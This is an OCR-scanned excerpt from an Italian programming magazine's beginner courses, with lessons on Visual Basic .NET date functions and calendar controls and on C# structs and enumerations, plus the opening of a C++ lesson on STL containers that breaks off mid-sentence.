MessageBox.Show(datal)
dipende dalle impostazioni internazionali del
sistema determinate da Pannello di controllo.
Ogni impostazione internazionale com'è noto
prevede diverse convenzioni per la visua-
lizzazione delle date, degli orari, dei numeri,
della valuta e di altre informazioni. In un siste-
ma impostato in formato italiano standard,
sarà visualizzata la stringa 15/ 12/2003. Per
ottenere la data e l'ora corrente sono disponibi-
li le funzioni:
• Today. Restituisce la data corrente di siste-
ma.
• Now. Restituisce la data e l'ora correnti, in
base all'impostazione dell'ora e della data di
sistema.
• TimeOfDay. Restituisce l'ora di sistema cor-
rente.
Si può scrivere ad esempio:
Dim Oggi As Date
Oggi = Today
Le funzioni Today e TimeOfDay possono essere
usate per impostare la data e l'ora di sistema.
OPERAZIONI
CON LE DATE
Le funzioni DateAdd e DateDiff, permettono di
compiere operazioni con le date. La funzione
DateAdd consente di aggiungere ad una data un
determinato valore di tempo, la sintassi è la
seguente:
DateAdd(intervallo, numero, data)
In cui: intervallo rappresenta il tipo di intervallo
Visual Basic .NET
T CORSI BASE
di tempo che si vuole aggiungere (vedi box per
l'elenco completo), numero indica il numero di
intervalli da aggiungere e data rappresenta la
data e l'ora che si vuole manipolare. Il valore di
numero può essere un valore negativo, in questo
caso tale valore sarà sottratto alla data deside-
rata. Per aggiungere trenta giorni al 1° Gennaio
2004 si può scrivere:
MessageBox.Show(DateAdd("d", 30, "01/01/2004"))
'Visualizza 31/01/2004
Per sottrarre due mesi al 1° Gennaio 2004 si può
scrivere:
MessageBox.Show(DateAdd("m", -2, "01/01/2004"))
'Visualizza 01/11/2003
La funzione DateAdd non restituisce mai una data
non valida e tiene conto anche degli anni bisestili.
Ad esempio, aggiungendo un mese al 31-
Gennaio-2004, il risultato sarà 29-Febbraio-2004,
poiché il 2004 è un anno bisestile. La funzione
DateDiff permette di valutare l'intervallo di tempo
trascorso tra due date. La sintassi è la seguente:
DateDiff (intervallo, datai, data2 [,primogiornodella
settimana[, primasettimanadellanno]])
In cui datai e data2 rappresentano le date di cui
si vuole calcolare la differenza di intervallo di
tempo. Gli ultimi due argomenti sono facoltati-
vi ed il loro valore, se non specificato, dipende
dalle impostazioni di sistema, primogiornodella-
settimana, se non impostato, corrisponde a
Domenica e primasettimanadellanno, se non im-
postato, corrisponde alla settimana nella quale
cade il primo Gennaio. Nell'esecuzione del cal-
colo viene eseguita l'operazione data2-datal,
per questo se datai e maggiore di data2 il risul-
tato sarà negativo
MessageBox.Show(DateDiff("m", "01/01/2004",
"29/02/2004")) 'Visualizza 1
MessageBox.Show(DateDiff("d", "01/01/2004",
"29/02/2004")) 'Visualizza 59
MessageBox.Show(DateDiff("d", "29/02/2004",
"01/01/2004")) 'Visualizza -59
Sono, infine, disponibili diverse funzioni che
restituiscono una parte della data:
Day. Restituisce un intero compreso tra 1 e 31
che rappresenta il giorno del mese. Prestate
attenzione, per utilizzare la funzione Day, e ne-
cessario definirla in modo completo preceduta
dal namespace Microsoft.VisualBasic poiché la
parola chiave Day è definita anche nel name-
space System.Windows. Forms.
MessageBox.Show(Microsoft.VisualBasic.Day("15/12/2003"))
'Visualizza 15
Month. Restituisce un intero compreso tra 1 e 12
che rappresenta il mese.
MessageBox.Show(Month("15/12/2003")) 'Visualizza 12
Year. Restituisce un intero compreso tra 1 e
9999 che rappresenta l'anno.
MessageBox.Show(year("15/12/2003")) 'Visualizza 2003
Weekday. Restituisce un intero che rappresenta
il giorno della settimana (vedi box) .
MessageBox.Show(Weekday("15/12/2003")) 'Visualizza 2
Hour. Restituisce un intero compreso tra e 23
che rappresenta l'ora del giorno.
MessageBox.Show(Hour("15/12/2003 20.25.30"))
'Visualizza 20
Minute. Restituisce un intero compreso tra e
59 che rappresenta i minuti.
MessageBox.Show(Minute("15/12/2003 20.25.30"))
'Visualizza 25
Second. Restituisce un intero compreso tra e
59 che rappresenta i secondi.
MessageBox.Show(Second("15/12/2003 20.25.30"))
'Visualizza 30
IL CONTROLLO
MONTHCALENDAR
Il controllo MonthCalendar (calendario men-
sile) presenta un'interfaccia di tipo calenda-
rio, in pratica, una griglia contenente i giorni
numerati del mese selezionato, disposti in
colonne in base ai giorni della settimana. In
questo controllo, è facilmente selezionabile
una data utilizzando il mouse, oppure un
intervallo contiguo di date utilizzando la
tastiera ed il mouse. Dopo aver inserito un
controllo MonthCalendar in una nuova form,
si può cliccare con il tasto destro del mouse
sul controllo e selezionare dal menu a discesa
la voce: Proprietà. Analizziamo le proprietà
disponibili. Le proprietà MinDate e MaxDate
devono essere utilizzate per impostare la più
piccola e la più grande data che può essere
visualizzata nel controllo. La proprietà Max-
SelectionCount definisce il massimo numero
di giorni selezionabili (l'impostazione di de-
fault è di una settimana). La proprietà First-
DayOfWeek definisce quale giorno della setti-
mana dovrà apparire nella prima colonna a
sinistra del calendario. La proprietà Show-
GLOSSARIO
SELECTIONRANGE
La proprietà
SelectionRange
permette di recuperare
o impostare la data o
l'intervallo di date
selezionato sul
controllo
MonthCalendar.
Se viene selezionata
una data singola, i
valori delle proprietà
Start e End saranno
uguali.
UPDATE
BOLDEDDATES
Il metodo
UpdateBoldedDates
deve essere utilizzato
per visualizzare le
modifiche apportate
alle proprietà
BoldedDates,
AnnuallyBoldedDates e
MonthlyBoldedDates,
poiché ridisegna le date
in grassetto in base alle
date impostate nella
relativa proprietà.
MONTHCALENDAR
Il controllo
MonthCalendar si
adatta
automaticamente alle
impostazioni
internazionali del
sistema permettendo
la corretta
visualizzazione dei
nomi dei mesi e dei
giorni.
CORSI BASE T
I
Visual Basic .NET
1! ! !•! ili !H! l!
io C
L.,.»i^l
GLOSSARIO
FUNZIONE
ISDATE
Una funzione degna di
attenzione nella
gestione delle date è
la funzione IsDate. La
funzione IsDate
restituisce un valore
Booleano per indicare
se è possibile o meno
convertire un'espres-
sione in una data. La
sintassi è la seguente
IsDate(espressione)
La funzione restituisce
True se l'argomento
obbligatorio espressio-
ne viene riconosciuto
come una data valida,
altrimenti restituisce
False.
WeekNumbers posta a True, permette la com-
parsa di una nuova colonna all'interno del
controllo, in cui viene visualizzato il numero
di settimane trascorse dall'inizio dell'anno. La
proprietà ShowToday posta a True permette la
visualizzazione, nella parte inferiore del con-
trollo, del giorno corrispondente al giorno
corrente. Il giorno visualizzato corrisponde al
valore della proprietà TodayDate, per default
coincide con la data di sistema. Se si lascia a
True anche il valore di ShowToday Circle, nel
controllo verrà visualizzato un cerchietto
attorno alla data odierna. Impostando la pro-
prietà CalendarDimension si può determinare
il numero di mesi da visualizzare in ogni riga
ed in ogni colonna, per un massimo di dodici
mesi e di un solo anno alla volta. Agendo sul
valore di questa proprietà si modificano,
automaticamente, le dimensioni del control-
lo. Le frecce visualizzate in alto permettono di
scorrere il controllo, in fase di esecuzione, per
il numero di mesi impostato nella proprietà
ScrollChange. Con il valore di default pari a
zero, il controllo scorrerà di un numero di
mesi pari al numero dei mesi visualizzato.
Sono disponibili, inoltre, alcune proprietà per
la gestione dei colori di primo piano e di sfon-
do:
TitleBackColor e TitleForeColor consentono
di impostare i colori di sfondo e di primo
piano dell'area del titolo del controllo.
TrailingForeColor consente di impostare il
colore di primo piano delle date che si riferi-
scono al mese precedente o successivo a quel-
lo visualizzato.
ForeColor consente di impostare il colore di
primo piano delle date che si riferiscono al
mese visualizzato.
DAYOFWEEK
Di seguito sono indicate le possibili
DayOfWeek.
impostazioni dell'argomento
FirstDayOfWeek.System, 0, Primo giorno della settimana specificato nelle
impostazioni di sistema
FirstDayOfWeek.Sunday, 1, Domenica (impostazione di default)
FirstDayOfWeek.Monday, 2, Lunedi
FirstDayOfWeek.Tuesday, 3, Martedì
FirstDayOfWeek.Wednesday, 4, Mercoledì
FirstDayOfWeek.Thursday, 5, Giovedì
FirstDayOfWeek.Friday, 6, Venerdì
FirstDayOfWeek.Saturday, 7, Sabato
INTERAZIONE
DELL'UTENTE
CON IL CONTROLLO
MONTHCALENDAR
L'utente può interagire con il controllo Month-
Ccdendar in diverse maniere, alcuni delle quali
non sono immediatamente chiare. Il metodo
più evidente è quello di spostarsi al mese suc-
cessivo o precedente facendo clic su uno dei
due pulsanti a forma di freccia e posti in alto,
accanto al titolo del controllo.
Per spostarsi immediatamente in un qualsiasi
mese dell'anno visualizzato si deve:
• Cliccare, con il tasto sinistro del mouse, sul
nome del mese visualizzato come titolo del
controllo. In questo modo verrà visualizzato un
menù a discesa che contiene i nomi di tutti i
mesi.
• Selezionare dall'elenco il mese desiderato.
Per spostarsi immediatamente in un anno
qualsiasi si deve:
• Cliccare, con il tasto sinistro del mouse, sull'an-
no visualizzato accanto al mese desiderato. In
questo modo verranno visualizzati due pulsan-
ti di selezione a scorrimento.
• Cliccare sulle frecce, in alto o in basso, per spo-
starsi su qualsiasi anno, futuro o precedente.
Dopo aver selezionato il mese e l'anno deside-
rato, risulta evidente che per selezionare una
data si dovrà, semplicemente, fare clic su di
essa. Per selezionare un intervallo di date si de-
ve cliccare sulle date con il tasto Shift premuto
oppure si può cliccare su una data e trascinare
il mouse fino alla data successiva. Infine, per
ritornare al giorno corrente, è sufficiente clicca-
re con il tasto destro del mouse sul titolo del
controllo e selezionare la voce vai ad oggi.
FAR RISALTARE
UNA DATA
Il controllo MonthCalendar consente di attirare
l'attenzione su alcune date del calendario, ad
esempio le festività o i giorni di ferie, visualiz-
zandole in grassetto una sola volta, una volta
all'anno o una volta al mese. Per ottenere que-
sta funzionalità, si devono aggiungere oggetti
DateTime alle proprietà BoldedDates, Annually-
BoldedDates e MonthlyBoldedDates. La proprietà
BoldedDates contiene singole date, la proprietà
Visual Basic .NET
T CORSI BASE
AnnuallyBoldedDates contiene date che vengono
visualizzate in grassetto ogni anno e la pro-
prietà MonthlyBoldedDates contiene date che
vengono visualizzate in grassetto ogni mese.
Ciascuna di queste proprietà contiene una
matrice di oggetti DateTime. Per aggiungere o
rimuovere una data da questi elenchi, è quindi
necessario aggiungere o rimuovere un oggetto
DateTime.
In queste proprietà è possibile aggiungere, in
fase di progettazione, in maniera molto sempli-
ce, le date desiderate. E' sufficiente cliccare sul
pulsante con i tre puntini accanto alle pro-
prietà in esame, in modo da visualizzare la
finestra Editor dell'insieme DateTime, ed
aggiungere in questa finestra le date desidera-
te. Per impostare la visualizzazione in grassetto
di una singola data da codice, si devono utiliz-
zare i metodi:
AddBoldedDate. Introduce, nel controllo, un
giorno da visualizzare in grassetto.
AddAnnuallyBoldedDate. Introduce, nel control-
lo, un giorno da visualizzare in grassetto con
cadenza annuale.
AddMonthlyBoldedDate. Introduce, nel control-
lo, un giorno da visualizzare in grassetto con
cadenza mensile
Per tornare alla visualizzazione in caratteri nor-
mali di una singola data in grassetto, si devono
utilizzare i metodi:
RemoveBoldedDate. Rimuove la data indicata,
dall'elenco delle date visualizzate in grassetto
RemoveAnnuallyBoldedDate. Rimuove la data
indicata, dall'elenco delle date visualizzate in
grassetto con cadenza annuale.
l'intervallo selezionato dall'utente.
Per questo possiamo scrivere:
Private Sub MonthCalendarl_DateSelected(ByVal
sender As Object, ByVal e As System. Windows. Forms.
DateRangeEventArgs) Handles
MonthCalendarl.DateSelected
MonthCalendarl.AddBoldedDate(e. Start)
'È necessario chiamare il metodo UpdateBoldedDates
per fare in modo che la visualizzazione venga
aggiornata in seguito alla selezione
MonthCalendarl.UpdateBoldedDatesQ
End Sub
IL CONTROLLO
DATETIMEPICKER
Il controllo DateTimePicker (Controllo sele-
zione date) può essere utilizzato in due
modalità diverse:
Modalità calendario a discesa (predefinita):
consente di visualizzare un calendario a
discesa per la selezione di una data.
Modalità formato data e ora: consente di
selezionare un campo nella visualizzazione
delle date, in altre parole giorno, mese, anno
e così via, e di impostarne il valore utilizzan-
do le frecce accanto al controllo.
Per determinare la modalità di visualizzazio-
ne si deve usare la proprietà ShowUpDown.
Se la proprietà è impostata su False, è attiva la
modalità calendario a discesa, se invece è
impostata su True, è attiva la modalità forma-
to ora. Nella modalità calendario a discesa
viene visualizzata una casella di testo con una
freccetta verso il basso (lo stile del ComboBox
per intenderci).
GLOSSARIO
MONTHCALENDAR
Il controllo
MonthCalendar si
adatta
automaticamente alle
impostazioni
internazionali del
sistema permettendo
la corretta
visualizzazione dei
nomi dei mesi e dei
giorni.
RemoveMonthlyBoldedDate. Rimuove la data
indicata, dall'elenco delle date visualizzate in
grassetto con cadenza mensile.
Per visualizzare in grassetto la data selezionata
dall'utente in fase di esecuzione, si deve scrive-
re del codice nell'evento DateSelected. L'evento
DateSelected si verifica nel momento in cui l'u-
tente modifica la selezione di una data in modo
esplicito, e riceve come argomento un oggetto
DateRangeEventArgs che espone due proprietà:
Start contiene il primo valore di data/ ora nel-
l'intervallo selezionato dall'utente.
End contiene l'ultimo valore di data/ ora nel-
DATEINTERVAL
Le possibili impostazioni dell'argomento intervallo sono:
• Datelnterval.Day, d. Giorno; troncato al valore intero
• Datelnterval. DayOfYear, y. Giorno dell'anno; troncato al valore intero
• Datelnterval.Hour, h. Ora; arrotondato al millisecondo più vicino
• Datelnterval. Minute, n, Minuto; arrotondato al millisecondo più vicino
• Datelnterval. Month, m, Mese; troncato al valore intero
• Datelnterval.Quarter, q. Trimestre; troncato al valore intero
• Datelnterval. Second, s. Secondo; arrotondato al millisecondo più vicino
• Datelnterval.Weekday, w. Giorno della settimana; troncato al valore
intero
• Datelnterval.WeekOfYear, ww. Settimana; troncato al valore intero
• Datelnterval.Year, yyyy. Anno; troncato al valore intero.
CORSI BASE T
I
Visual Basic .NET
0E^B
Se nella valorizzazione
di una data non si
include alcun valore
data, VB imposta la
parte del valore
relativa alla data sull'1
gennaio 0001. Se non
si include alcuna ora,
VB imposta la parte
del valore relativa
all'ora sull'inizio del
giorno, valere a dire la
mezzanotte (0.00.00).
Un valore di ora può
essere specificato nel
formato 24 ore o 12
ore. Se non viene
specificato il valore
AM o PM, sarà
considerato valido il
formato 24 ore.
Ciascuna parte della data o dell'ora viene
gestita come campo distinto su cui si può
cliccare con il mouse per evidenziarlo, ed
utilizzando i tasti di direzione è possibile
incrementare o ridurre il valore evidenziato.
Se l'utente clicca sulla freccetta, accanto alla
casella di testo, viene visualizzato un calen-
dario a discesa in cui è possibile "navigare"
con le stesse modalità descritte per il con-
trollo MonthCalendar, per selezionare la
data desiderata.
In modalità formato ora, sul lato destro del
controllo vengono visualizzate due frecce di
scorrimento su cui si può cliccare per incre-
mentare o ridurre il valore del campo sele-
zionato con il mouse.
È inoltre possibile utilizzare il DateTime-
Picker per visualizzare la data in diversi for-
mati predefiniti utilizzando la proprietà
Format, tra cui il formato Short (15/12/03), il
formato Long (Lunedì, 15 Dicembre 2003) ed
il formato Time (9.00.00 PM], nonché un for-
mato personalizzato selezionando il valore
Custom.
La stringa di formato data/ora personalizza-
ta deve essere inserita nella proprietà
CustomFormat. Nella stringa di formattazio-
ne possiamo specificare una combinazione
qualsiasi tra le seguenti stringhe di formato
valide:
d Giorno a una o due cifre.
dd Giorno a due cifre. Per i valori a una sola
cifra, viene aggiunto uno zero iniziale.
ddd Abbreviazione di tre caratteri del nome
del giorno della settimana.
dddd Nome del giorno della settimana com-
pleto.
Per determinare la data che deve essere
visualizzata inizialmente nel controllo, si
deve usare la proprietà Value (impostata per
default alla data corrente). Ad esempio nel-
l'evento Load della Form si può impostare la
data d'interesse in questo modo:
DateTimePickerl.Value = "01/12/03"
La proprietà Value può essere usata per
determinare la data o l'ora selezionata nel
controllo, restituendo come valore una
struttura DateTime. Numerose proprietà di
questa struttura permettono di gestire facil-
mente le date visualizzate. Tali proprietà
sono però a sola lettura. Tra queste segnalia-
mo:
Month che restituisce un valore intero (da 1
a 12) corrispondente al mese della data sele-
zionata.
Day che restituisce il numero del giorno
selezionato (da 1 a 31).
DayOfWeek che restituisce un valore che
indica il giorno della settimana della data
selezionata.
Year che restituisce l'anno della data sele-
zionata in forma di valore intero.
Hour, Minute, Second e Milli second che re-
stituiscono valori interi per le unità di tempo
corrispondenti.
Ad esempio l'istruzione:
MessageBox.Show("Siamo nell'anno " &
DateTimePickerl.Value. Year)
Visualizza la stringa "Siamo nell'anno 2003"
M Numero del mese a una o due cifre.
MM Numero del mese a due cifre.
MMM Abbreviazione di tre caratteri del
nome del mese.
MMMM Nome del mese completo.
y Anno a una sola cifra. L'anno 2003, ad
esempio, viene visualizzato come "3".
yy Ultime due cifre dell'anno. L'anno 2003,
ad esempio, viene visualizzato come "03".
yyyy L'anno intero a quattro cifre.
CONCLUSIONI
In questo articolo abbiamo descritto due tra
i più interessanti controlli di VB.Net, i con-
trolli MonthCalendar e DateTimePickei; che
consentono di presentare delle date con una
visualizzazione grafica più chiara ed intuiti-
va rispetto a quella di una casella di testo.
Abbiamo inoltre colto l'occasione per rive-
dere i concetti relativi alle operazioni con le
date.
Nel prossimo articolo continueremo ad
esplorare i controlli messi a disposizione da
VB.
Luigi Buono
c#
T CORSI BASE
I costrutti alternativi alle Classi
Strutture
ed enumerazioni
Dopo aver acquisito in concetti fondamentali dell'ereditarietà e
dell'uso delle interfacce, questo mese ci "riposeremo" assimilando
alcuni costrutti più semplici, ma non per questo meno utili.
Come promesso al termine della lezione
precedente, questo mese ci occuperemo
di due tra le più esclusive caratteristiche
di C#: le strutture e le enumerazioni. Le prime
permettono di generare oggetti che funzionano
per valore anziché per riferimento, mentre le
enumerazioni sono utili ogni volta che si deside-
ra associare un concetto ad una progressione di
numeri interi. Ogni arcano sarà svelato dai pros-
simi paragrafi.
STRUTTURE
Le classi, che per diverse lezioni sono state il nostro
principale oggetto di studio, sono tipi riferimento.
Rinfreschiamoci la memoria su questo importante
concetto:
class Rettangolo {
public int larghezza;
public int altezza;}
class Test {
public static void Main() {
Rettangolo ri = new RettangoloQ;
ri. altezza = 10;
ri. larghezza = 15;
Rettangolo r2 = ri;
r2. altezza = 20;
r2. larghezza = 30;
System. Console. WriteLine("
"1. altezza: '
+ ri. altezza);
System. Console. WriteLine(
'ri. larghezza: " +
ri. larghezza);
System. Console. WriteLine("
r2. altezza:
' + r2. altezza);
System. Console. WriteLine(
'r2. larghezza: " +
r2. larghezza);} }
La classe Rettangolo genera un nuovo tipo riferi-
mento. Lo possiamo verificare esaminando il risul-
tato del MainQ-
ri
altezza:
20
ri
larghezza: 30
r2
altezza:
20
r2. larghezza: 30
Le due variabili ri ed r2, infatti, sono due alias dello
stesso oggetto. Modificando le proprietà della prima
si cambiano anche quelle della seconda, e viceversa.
r2 = ri;
Questa istruzione non ha causato la copia dell'og-
getto Rettangolo creato per ri , ma solo una copia del
riferimento allo stesso. Di fatto, ri ed r2 "puntano
alla stessa porzione della memoria", se la vogliamo
mettere in termini più prossimi a quelli di C++.
Questo, invece, non avviene con i tipi valore, in cui
un'operazione di assegnazione significa una copia
del valore rappresentato dalla variabile. Gli interi, ad
esempio, sono tipi valore:
class Test {
public static void Main() {
int il = 5;
int i2 = il;
i2 = 10;
System.Console.WriteLine("il:
" + il);
System. Console. WriteLine("i2:
" + i2); }}
Il risultato di questo codice è inequivocabile:
il: 5
i2: 10
Quindi, tornando al fulcro del discorso, ogni volta
che scriviamo una classe generiamo un modello per
nuovi tipi riferimento. Benché nella maggior parte
dei casi sia questo il comportamento che i program-
matori preferiscono ottenere da un loro oggetto, ci
sono delle situazioni in cui si desidera avere delle
Q CD Q WEB
coitici csharp20.zip
*VL
■ • ■ ' • ■
CORSI BASE T
I
C#
COSA SONO LE
STRUTTURE?
Le strutture, per dirla
in maniera
semplicistica, sono
delle classi che
generano oggetti che
si comportano come
tipi valore. La parola
chiave utile per la
dichiarazione di una
struttura è struct.
classi che ragionino per valore, come gli interi. Un
valido motivo per desiderare questo, ad esempio, è
l'incremento delle prestazioni che se ne ricava, giac-
ché ogni volta l'ambiente di runtime non deve attra-
versare la fase di riconoscimento e decodifica dei
riferimenti. Il ragionamento è valido quando si acce-
de continuamente a piccoli oggetti, usati perlopiù
per accoppiare una manciata di proprietà. C# viene
in soccorso del programmatore, offrendo un
costrutto alternativo alla classe: la struttura. Le strut-
ture, per dirla in maniera semplicistica, sono delle
classi che generano oggetti che si comportano come
tipi valore. La parola chiave utile per la dichiarazio-
ne di una struttura è struct. Il modello di riferimento
per il suo impiego segue molto da vicino quello delle
classi:
struct NomeStruttura : Interfacce {}
Cerchiamo di inquadrare al volo le principali diffe-
renze che corrono tra una struttura ed una classe:
Una struttura è gestita per valore, mentre una clas-
se lo è per riferimento, e questo già lo sapevamo.
Una struttura può implementare una o più inter-
facce, ma al contrario di una classe non può esten-
dere altre strutture. Insomma, nessun tipo di eredi-
tarietà "pura" per le strutture.
Una struttura può comprendere gli stessi tipi di
membri tipici di una classe (metodi, proprietà e co-
sì via). Tra questi, ci sono anche i costruttori. Tutta-
via, non è detto che un costruttore venga sempre
invocato. Dipende da come si genera l'oggetto che
deriva dalla struttura. Se si usa l'operatore new, tutto
è analogo a quello che accade con le classi. L'uso di
new, tuttavia, non è obbligatorio. Nel momento in
cui si dichiara una struttura, in memoria già è pron-
to ogni suo dettaglio. Quindi, l'inizializzazione può
avvenire in maniera automatica. Questo non accade
con le classi, in cui l'allocazione della memoria e l'i-
nizializzazione delle proprietà passano sempre
attraverso un costruttore e l'operatore new. Andia-
mo a mettere in pratica una struttura, riproponendo
il primo esempio visto in questo paragrafo:
struct Rettangolo {
public int larghezza;
public int altezza;}
class Test {
public static void Main() {
Rettangolo ri;
ri. altezza = 10;
ri. larghezza = 15;
Rettangolo r2 = ri;
r2. altezza = 20;
r2. larghezza = 30;
System. Console. WriteLine("rl. altezza: " + ri. altezza);
System. Console. WriteLine("rl. larghezza: "
Ora l'output è profondamente diverso:
rl.altezza: 10
ri. larghezza: 15
r2. altezza: 20
r2. larghezza: 30
Le variabili ri e r2 sono due oggetti distinti.
r2 = ri;
In questo caso, l'operazione appena mostrata signi-
fica la copia dell'oggetto. Le strutture sono gestite
come tipi valore. Si osservi, inoltre, come non sia
stato impiegato l'operatore new, per generare l'i-
stanza ri. Come si diceva prima, new può essere
opzionalmente usato, nel caso in cui la struttura
invocata disponga di uno o più costruttori. Ecco un
semplice esempio:
struct Rettangolo {
public int larghezza;
public int altezza;
public Rettangolo(int a, int I) {
altezza = a;
larghezza = I;}}
class Test {
public static void Main() {
Rettangolo ri = new Rettangolo(10, 15);
Rettangolo r2 = ri;
r2. altezza = 20;
r2. larghezza = 30;
System. Console. WriteLine("rl. altezza: " + rl.altezza);
System. Console. WriteLine("rl. larghezza: "
+ ri. larghezza);
System. Console. WriteLine("r2. altezza: " + r2. altezza);
System. Console. WriteLine("r2. larghezza: "
+ r2. larghezza); } }
Il codice è analogo al precedente, con la sola diffe-
renza che ora la struttura Rettangolo dispone di un
costruttore con due argomenti. Possiamo approfit-
tarne per assegnare più velocemente le proprietà
dell'oggetto ri:
Rettangolo ri = new Rettangolo(10, 15);
ENUMERAZIONI
Le enumerazioni rappresentano un'altra delle carat-
teristiche più esclusive di C#, nei confronti dei lin-
guaggi di programmazione della stessa sfera di
c#
I
T CORSI BASE
applicazione (Java, insomma...). Per enumerazione
si intende un insieme intero di costanti, ad ognuna
delle quali è assegnato un nome e ad ognuna delle
quali corrisponde un numero intero. Un esempio è
meglio di mille altre parole:
enum giorni_della_settimana {
lunedì, martedì, mercoledì, giovedì,
venerdì, sabato, domenica };
Ecco qui la nostra prima enumerazione. Questo
costrutto genera sette distinte costanti:
Ciascuna delle sette costanti corrisponde a un valo-
re intero, assegnato automaticamente a partire dallo
zero:
Quindi, una enumerazione permette di avere un
appiglio mnemonico ad un insieme di numeri inte-
ri crescenti, a partire dallo zero. Le enumerazioni
possono essere usate in qualità di membri di una
classe o di una struttura. Andiamo a vedere un'ap-
plicazione pratica del concetto:
class Test {
enum mesi {
gennaio, febbraio, marzo,
aprile, maggio, giugno,
luglio, agosto, settembre,
ottobre, novembre, dicembre};
public static void Main() {
System. Console. Write("Digita un numero da a 11: ");
string s = System. Console. ReadLineQ;
mesi m = (mesi)int.Parse(s);
switch (m) {
case mesi. gennaio:
System. Console. WriteLine("Gennaio");
break;
case mesi. febbraio:
System. Console. WriteLine("Febbraio");
break;
case mesi. marzo:
Per prima cosa, è stata dichiarata una enumerazione,
valida per la rappresentazione dei mesi dell'anno:
enum mesi {
gennaio, febbraio, marzo,
aprile, maggio, giugno,
luglio, agosto, settembre,
ottobre, novembre, dicembre
};
Secondo la prassi, mesi.gennaio ha valore 0,
mesi.febbraio è 1, mesi.marzo 2, e così via, fino ad
arrivare a mesi.dicembre, il cui valore numerico èli.
Quindi, viene dichiarata una variabile di tipo mesi.
Questa variabile conterrà valori che vanno da
mesi.gennaio (0) a mesi.dicembre (11). Si chiede
all'utente di inserire un valore compreso nel range
appena specificato. Il valore viene acquisito come
stringa, con il metodo ReadLineQ, per essere poi
convertito in un comune int (con int.Parse{s)).
Prima di assegnare l'intero alla variabile di tipo mesi,
è necessario un casting esplicito: c'è il rischio che il
valore digitato sia all'infuori dell'intervallo concesso,
ed il programmatore deve esserne consapevole. A
questo punto, un costrutto switch confronta il dato
immesso dall'utente con tutti i valori ammessi dal-
l'enumerazione, generando un output in corrispon-
denza del mese individuato. Normalmente, le enu-
merazioni sono associate al tipo int, come nell'e-
sempio appena visto. Ad ogni modo, è possibile
creare enumerazioni sfruttando altri tipi numerici
interi (tranne il chat). Ecco un esempio:
enum mesi : byte {
gennaio, febbraio, marzo,
aprile, maggio, giugno,
luglio, agosto, settembre,
ottobre, novembre, dicembre
};
Carlo Pelliccia
BIBLIOGRAFIA
• GUIDA A C#
Herbert Schildt
(McGraw-Hill)
ISBN 88-386-4264-8
2002
• INTRODUZIONE A C#
Eric Gunnerson
(Mondadori
Informatica)
ISBN 88-8331-185-X
2001
• C# GUIDA PER
LO SVILUPPATORE
Simon Robinson e altri
(Hoepli)
ISBN 88-203-2962-X
2001
CORSI BASE T
I
C++
STL: contenitori, iteratori ed algoritmi
Standard Template
Library: i contenitori
Abbiamo già avuto modo, in precedenza, di parlare della Standard
Template Library (STL), un sottoinsieme delle librerie standard del
C++. Guardiamo la struttura più in dettaglio!
Q CD Q WEB
Contenitori.cpp
La Standard Template Library (STL) è un insie-
me di librerie del C++ il cui scopo è di stan-
dardizzare l'utilizzo di alcune tipologie di
oggetti che sono indispensabili nella normale pro-
grammazione, ma che non sono implementati a
livello di linguaggio. Un classico esempio di questa
situazione è costituito dall'utilizzo di array per
l'immagazzinamento in memoria di oggetti creati
a run-time. Il problema più comune in questo caso
è la dimensione dell' array stesso, che deve essere
stabilita a priori rispetto all'inserimento degli
oggetti al suo interno. Questo rende molto difficol-
toso e macchinoso l'inserimento di un numero
maggiore di elementi, in quanto è necessario:
• allocare un nuovo array più capiente
• copiare tutti gli elementi del vecchio array sul
nuovo
• distruggere il vecchio array, ormai inutile.
Sarebbe bello, in altre parole, avere un oggetto
che rendesse trasparente questo tipo di opera-
zioni e consentisse una semplice scrittura di
codice simile al seguente:
Conten
itore e;
bool finito = false;
while (
! finito)
{
c.inserisci(dato);
//modifica della variabile
"finito" qui
//in pratica il ciclo
viene
ripetuto un numero
//di volte sconosci
uto al
programmatore
}
Come si può intuire, la funzione (fittizia, inventa-
ta da noi) inseriscici può essere utilizzata un nu-
mero indefinito di volte, senza doverci preoccu-
pare di ridimensionare l'oggetto Contenitore, in
quanto questa operazione è compiuta dalla sua
logica interna, in maniera a noi del tutto traspa-
rente. Per questa e altre esigenze di programma-
zione è stata progettata la STL che, come il nome
stesso suggerisce, è basata sui template. Median-
te questi, come abbiamo già visto, si raggiungono
essenzialmente due importanti obiettivi: effi-
cienza ed estensibilità del codice.
Nella STL trovano posto sia funzioni che classi
basate su template, e questa caratteristica ne
facilita l'uso sia coi tipi predefiniti (int, char ecc.)
che con quelli definiti dall'utente (ad esempio le
classi). Nella STL trovano posto tre categorie di
concetti:
• contenitori: oggetti il cui scopo è contenere
altri oggetti (vettori, liste, pile ecc.);
• iteratori: oggetti il cui scopo è quello di "visi-
tare" il contenuto di un contenitore, cioè
estrarre da esso gli oggetti che vi abbiamo in-
serito;
• algoritmi: sono le implementazioni dei prin-
cipali algoritmi informatici (ordinamento,
ricerca di un particolare elemento ecc.) e
fanno uso di contenitori e iteratori.
IL CONCETTO
DI CONTENITORE
Un contenitore è essenzialmente un insieme di
oggetti gestito mediante una certa politica.
Di esempi di contenitori la letteratura informati-
ca è piena, basti pensare ai principali (ad es. liste,
c++
I
T CORSI BASE
code, pile) per vedere che in effetti essi sono
caratterizzati dal modo in cui gestiscono il pro-
prio contenuto: ad esempio, per le code si dice
che si adotta la politica FIFO (First In First Out,
cioè chi prima arriva viene servito per primo),
per le pile si usa la UFO (Last In First Out, l'ulti-
mo arrivato è il primo servito), ecc. I contenitori
della STL sono caratterizzati dall'avere poche
funzioni membro, essenziali allo svolgimento dei
task più elementari (creazione, distruzione,
copia, aggiunta ed eliminazione di un elemento) .
Nei contenitori non trovano posto funzioni
membro che facciano riferimento a delle specifi-
che strutture dei propri elementi (questo com-
porterebbe una diminuzione della portabilità
della libreria!): qualora fosse necessario, un
approccio per dotare un contenitore predefinito
di funzioni specifiche per il nostro programma è
quello di dichiarare una nuova classe, la quale
erediti la struttura del contenitore, e quindi
aggiunga i nuovi metodi necessari (ed ogni altra
cosa faccia riferimento ad aspetti specifici del
nostro programma).
I contenitori (lo si vedrà, ma soprattutto lo si
imparerà, facendo esperienza) sono necessari, in
quanto nei nostri programmi gli oggetti vengono
continuamente creati e distrutti, e abbiamo biso-
gno di un elemento unificatore che ci permetta
di averli tutti sempre sotto controllo e facilmente
accessibili: se per ogni programma costruissimo
qualcosa di analogo in maniera dedicata, proba-
bilmente ci sveglieremmo una mattina, dopo
atroci incubi, con qualche capello in meno, e
decideremmo di dare uno sguardo a quanto
abbiamo deliberatamente ignorato per anni
(cioè la STL). Alla base dei contenitori presenti
nella STL c'è una distinzione: un contenitore può
